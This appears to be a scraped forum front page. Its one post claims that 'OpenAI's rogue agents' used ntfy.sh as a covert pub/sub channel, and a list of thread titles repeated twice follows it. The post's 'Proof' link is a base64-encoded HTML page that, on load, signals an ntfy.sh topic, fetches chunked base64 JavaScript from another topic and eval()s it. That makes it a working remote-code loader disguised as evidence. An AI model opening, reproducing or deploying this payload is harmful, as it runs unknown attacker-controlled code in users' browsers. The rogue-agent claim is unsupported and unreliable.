frontpage.

Looks like OpenAI's rogue agents used https://ntfy.sh as a pub/sub channel. This payload publishes via GET in an img tag, pulls chunked base64 JS from a topic, and eval()'s it. Remote code via GET only.

Proof: https://httpbin.org/base64/PGJvZHk-PGltZyBzcmM9Imh0dHBzOi8vbnRmeS5zaC9ncm81MjhmYTYzL3B1Ymxpc2g_bWVzc2FnZT1QMyI-PGltZyBzcmM9L2RlbGF5LzEwPjxzY3JpcHQ-dmFyIG49MDtmdW5jdGlvbiBEKCl7aWYobisrPDUpe3ZhciBpPW5ldyBJbWFnZSgp%20%20%20%20O2kub25lcnJvcj1pLm9ubG9hZD1EO2kuc3JjPScvZGVsYXkvMTA_Yz0nK247ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpKX19RCgpO2ZldGNoKCdodHRwczovL250Znkuc2gvZ3BsZW9lbnNvL3Jhdz9wb2xsPTEmc2luY2U9YWxsJykudGhlbihmdW5jdGlvbihyKXtyZXR1cm4%20%20%20%20gci50ZXh0KCl9KS50aGVuKGZ1bmN0aW9uKHQpe3ZhciBMPXQuc3BsaXQoJ1xuJykuZmlsdGVyKGZ1bmN0aW9uKGwpe3JldHVybiBsLnNsaWNlKDAsMSk9PSd6J30pLnNvcnQoKTt2YXIgYj1MLm1hcChmdW5jdGlvbihsKXtyZXR1cm4gbC5zbGljZSgzKX0pLmpvaW4oJycpO2I9Yi%20%20%20%205zcGxpdCgnLScpLmpvaW4oJysnKS5zcGxpdCgnXycpLmpvaW4oJy8nKTtldmFsKGF0b2IoYikpfSkuY2F0Y2goZnVuY3Rpb24oZSl7ZmV0Y2goJ2h0dHBzOi8vbnRmeS5zaC9ncm81MjhmYTYzL3B1Ymxpc2g_bWVzc2FnZT1MT0RFUicrZW5jb2RlVVJJQ29uZW50KCgnJytlKS5zb%20%20%20%20GljZSgwLDQwKSkpfSk8L3NjcmlwdD4=

Ask HN: Resources to get good at soldering?

Ask HN: Who is using MCP in production?

Ask HN: Why were OpenAI, Claude, and Grok simultaneously down?

Ask HN: Any Alternatives to Archive.ph & co?

Ask HN: Who is hiring? (September 2026)

OpenAI's rogue agents used ntfy.sh as a pub/sub channel

Tell HN: Both recent GCP outages caused by fiber optic maintenance

Ask HN: Who wants to be hired? (September 2026)

Ask HN: Are others seeing Google's reCAPTCHA rejecting Firefox users?

Word42 1.0.0 Released

Tell HN: I want to see the same moon as you

Ask HN: Initial Thoughts on GPT-6 Astra?

Ask HN: Books Recommendations?

Ask HN: 30, burnt out, with 6-10 months of runway. What would you do?

Ask HN: Who is using FPGA for ML inference?

Xfinity silently blocks lots of new domains

Ask HN: Why isn't there a cursor for video games development

Ask HN: Founders that raised funding and shutdown, did you raise again?

Ask HN: What is the ideal email domain setup?

Tell HN: NVIDIA's Acquisition of HuggingFace was for $HuggingFace

Ask HN: How do you know if you have a product problem or a distribution one?

Ask HN: Laptop or Desktop?

Ask HN: How do you guys keep up with the most cost-effective AI models?

Is there any way to contribute to nitter and xcancel's legal fights?

Ask HN: Why don't we talk about context window size anymore?

Ask HN: What is your biggest career regret?

Ask HN: Are technical blogs dead?

Tell HN: Check your Claude settings, it may have silently enabled remote access

Ask HN: Do all of you use Cloudflare for preventing DDoS, Bot and more attacks?

Ask HN: What's Going on with Web.archive.org

OpenAI's rogue agents used ntfy.sh as a pub/sub channel

Ask HN: Resources to get good at soldering?

Ask HN: Who is using MCP in production?

Ask HN: Why were OpenAI, Claude, and Grok simultaneously down?

Ask HN: Any Alternatives to Archive.ph & co?

Ask HN: Who is hiring? (September 2026)

OpenAI's rogue agents used ntfy.sh as a pub/sub channel

Tell HN: Both recent GCP outages caused by fiber optic maintenance

Ask HN: Who wants to be hired? (September 2026)

Ask HN: Are others seeing Google's reCAPTCHA rejecting Firefox users?

Word42 1.0.0 Released

Tell HN: I want to see the same moon as you

Ask HN: Initial Thoughts on GPT-6 Astra?

Ask HN: Books Recommendations?

Ask HN: 30, burnt out, with 6-10 months of runway. What would you do?

Ask HN: Who is using FPGA for ML inference?

Xfinity silently blocks lots of new domains

Ask HN: Why isn't there a cursor for video games development

Ask HN: Founders that raised funding and shutdown, did you raise again?

Ask HN: What is the ideal email domain setup?

Tell HN: NVIDIA's Acquisition of HuggingFace was for $HuggingFace

Ask HN: How do you know if you have a product problem or a distribution one?

Ask HN: Laptop or Desktop?

Ask HN: How do you guys keep up with the most cost-effective AI models?

Is there any way to contribute to nitter and xcancel's legal fights?

Ask HN: Why don't we talk about context window size anymore?

Ask HN: What is your biggest career regret?

Ask HN: Are technical blogs dead?

Tell HN: Check your Claude settings, it may have silently enabled remote access

Ask HN: Do all of you use Cloudflare for preventing DDoS, Bot and more attacks?

Ask HN: What's Going on with Web.archive.org